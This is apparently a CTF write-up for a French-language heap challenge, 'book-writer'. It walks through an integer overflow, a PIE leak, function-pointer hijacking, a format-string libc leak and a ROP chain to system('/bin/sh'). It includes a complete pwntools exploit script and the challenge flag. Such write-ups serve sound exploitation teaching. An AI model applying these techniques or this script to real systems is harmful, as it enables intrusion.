TL;DR

Integer overflow (n * 128 wraps to 0) → get 0x20 chunk → leak PIE from adjacent heap → overflow into next Book struct → overwrite function pointer to printf → format string leak libc → ROP chain to system("/bin/sh") 📚


Note: This is one of my first CTF writeups! Went through several failed attempts before finding the right path. 🙂


Challenge Overview

Book management application with create/read/write/page turning functions. Heap-based exploitation.

Binary Protections

$ checksec book-writer
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

All protections enabled! 🔒

The Vulnerability

Book Structure

struct Book {
    void (*read)();      // Function pointers!
    void (*write)();
    char title[64];
    char *content;
    unsigned long pages;
};

Integer Overflow

unsigned long n = strtoul(input, NULL, 10);  // No upper bound!
book->content = malloc(n * PG_SIZE);         // n * 128 can overflow!

The trick:

n = 0x0800000000000000  # 2^59
n * 128 = 2^66 (mod 2^64) = 0
malloc(0)  returns 0x20 chunk (minimum size)
# But program thinks we have huge number of pages!

Null Byte Problem

Important constraint: get_input() and strncpy() stop at null bytes (\x00). This blocks several attack paths:

  • Can’t write GOT addresses (contain nulls)
  • Can’t write “/bin/sh\x00” followed by gadgets
  • Need creative solutions!

Exploitation

Stage 1: PIE Leak

Create Book1 with overflow (gets 0x20 content), then Book2 normally. When reading Book1, we print 128 bytes but content is only 0x20 → leak into Book2’s function pointers!

add_book(io, b"Book1", str(0x0800000000000000).encode())
add_book(io, b"Book2", b"1")

open_book(io, b"0")
read_page(io)
io.recvuntil(b"\xe9")
leak = b'\xe9' + io.recv(6)
leak = u64(leak.ljust(8, b"\x00"))
exe.address = leak - 0x1e9 - 0x1000

Stage 2: Function Pointer Overwrite

Overflow from Book1 into Book2’s function pointer. We use write pointer (not read) because it gives better register control:

call r8     ; R8 = write function pointer
            ; RDI = Book* (we control content!)
            ; RDX = input string
# Overflow with format string + redirect to printf
write_page(io, cyclic(32) + b'%21$p%2$' + p64(exe.symbols['printf']))

Stage 3: Libc Leak

Failed attempt: Tried puts@plt to leak puts@got, but GOT address 0x404018 has null bytes → can’t write it.

Solution: Format string with printf! Since we redirected to printf and RDI points to our Book content:

open_book(io, b"1")
write_page(io, p64(RET))  # Trigger printf

io.recvline()
leak_libc = int(io.recv(14), 16)
libc.address = leak_libc - 0x124a

Format string %21$p leaks a libc address from stack!

Stage 4: ROP Chain

Failed attempts:

  1. One gadgets → constraints didn’t match
  2. Direct system("/bin/sh") → can’t write null terminator + gadgets after

Solution: Use libc’s “/bin/sh” string + ROP chain in Book structs:

add_book(io, b"Book3", str(0x0800000000000000).encode())
add_book(io, b"Book4", b"1")

POP_5 = libc.address + 0x17dd      # Clean stack
POP_RDI = libc.address + 0x17e5
system = libc.address + 0x26490
binsh = libc.address + 0x170031

# Book3: Pop saved registers
open_book(io, b"2")
write_page(io, cyclic(40) + p64(POP_5))

# Book4: ROP chain
open_book(io, b"3")
write_page(io, p64(POP_RDI) + p64(binsh) + p64(system))

When Book3’s function pointer is called:

  1. Pops 5 registers (clean stack)
  2. Pops “/bin/sh” into RDI
  3. Calls system(RDI) → shell! 🎉

Complete Exploit

#!/usr/bin/env python3
from pwn import *

exe = ELF("book-writer")
libc = ELF("libc.so.6")
context.binary = exe

def conn():
    if args.REMOTE:
        return remote("127.0.0.1", 4000)
    else:
        return process([exe.path])

def add_book(io, title, pages):
    io.sendlineafter(b"Quitter\n", b"1")
    io.sendlineafter(b"livre ?", title)
    io.sendlineafter(b"pages ?", pages)

def open_book(io, index):
    io.sendlineafter(b"Quitter\n", b"2")
    io.sendlineafter(b"livre:", index)

def write_page(io, content):
    io.sendlineafter(b"Quitter\n", b"3")
    io.sendlineafter(b"?", content)

def read_page(io):
    io.sendlineafter(b"Quitter\n", b"4")

def main():
    io = conn()
    
    # PIE Leak
    add_book(io, b"Book1", str(0x0800000000000000).encode())
    add_book(io, b"Book2", b"1")
    
    open_book(io, b"0")
    read_page(io)
    io.recvuntil(b"\xe9")
    leak = b'\xe9' + io.recv(6)
    leak = u64(leak.ljust(8, b"\x00"))
    exe.address = leak - 0x1e9 - 0x1000
    log.success(f"Binary base: {hex(exe.address)}")
    
    RET = exe.address + 0x1016
    
    # Function pointer overwrite + libc leak
    write_page(io, cyclic(32) + b'%21$p%2$' + p64(exe.symbols['printf']))
    open_book(io, b"1")
    write_page(io, p64(RET))
    
    io.recvline()
    leak_libc = int(io.recv(14), 16)
    libc.address = leak_libc - 0x124a
    log.success(f"Libc base: {hex(libc.address)}")
    
    # ROP chain
    add_book(io, b"Book3", str(0x0800000000000000).encode())
    add_book(io, b"Book4", b"1")
    
    POP_5 = libc.address + 0x17dd
    POP_RDI = libc.address + 0x17e5
    system = libc.address + 0x26490
    binsh = libc.address + 0x170031
    
    open_book(io, b"2")
    write_page(io, cyclic(40) + p64(POP_5))
    
    open_book(io, b"3")
    write_page(io, p64(POP_RDI) + p64(binsh) + p64(system))
    
    io.interactive()

if __name__ == "__main__":
    main()

Lessons Learned

Exploitation techniques:

  1. Integer overflow - n * 128 wraparound to get controlled small allocation

  2. Heap adjacency - Adjacent chunks leak metadata and function pointers

  3. Function pointer hijacking - Overwrite to redirect execution

  4. Format string - Leak without null bytes when direct approaches fail

  5. ROP on heap - Build gadget chains in heap structures, not just stack

Key insight: Null byte restrictions eliminated multiple approaches (GOT leak, direct /bin/sh writing). Sometimes constraints force you to chain more primitives, but that’s the fun part! 🧩


Flag

FCSC{9c0a809cde815acae51618726aa7632af6e4ac9b000653ef8a607cb837995162}

Made with ☕ and heap feng shui - FCSC 2024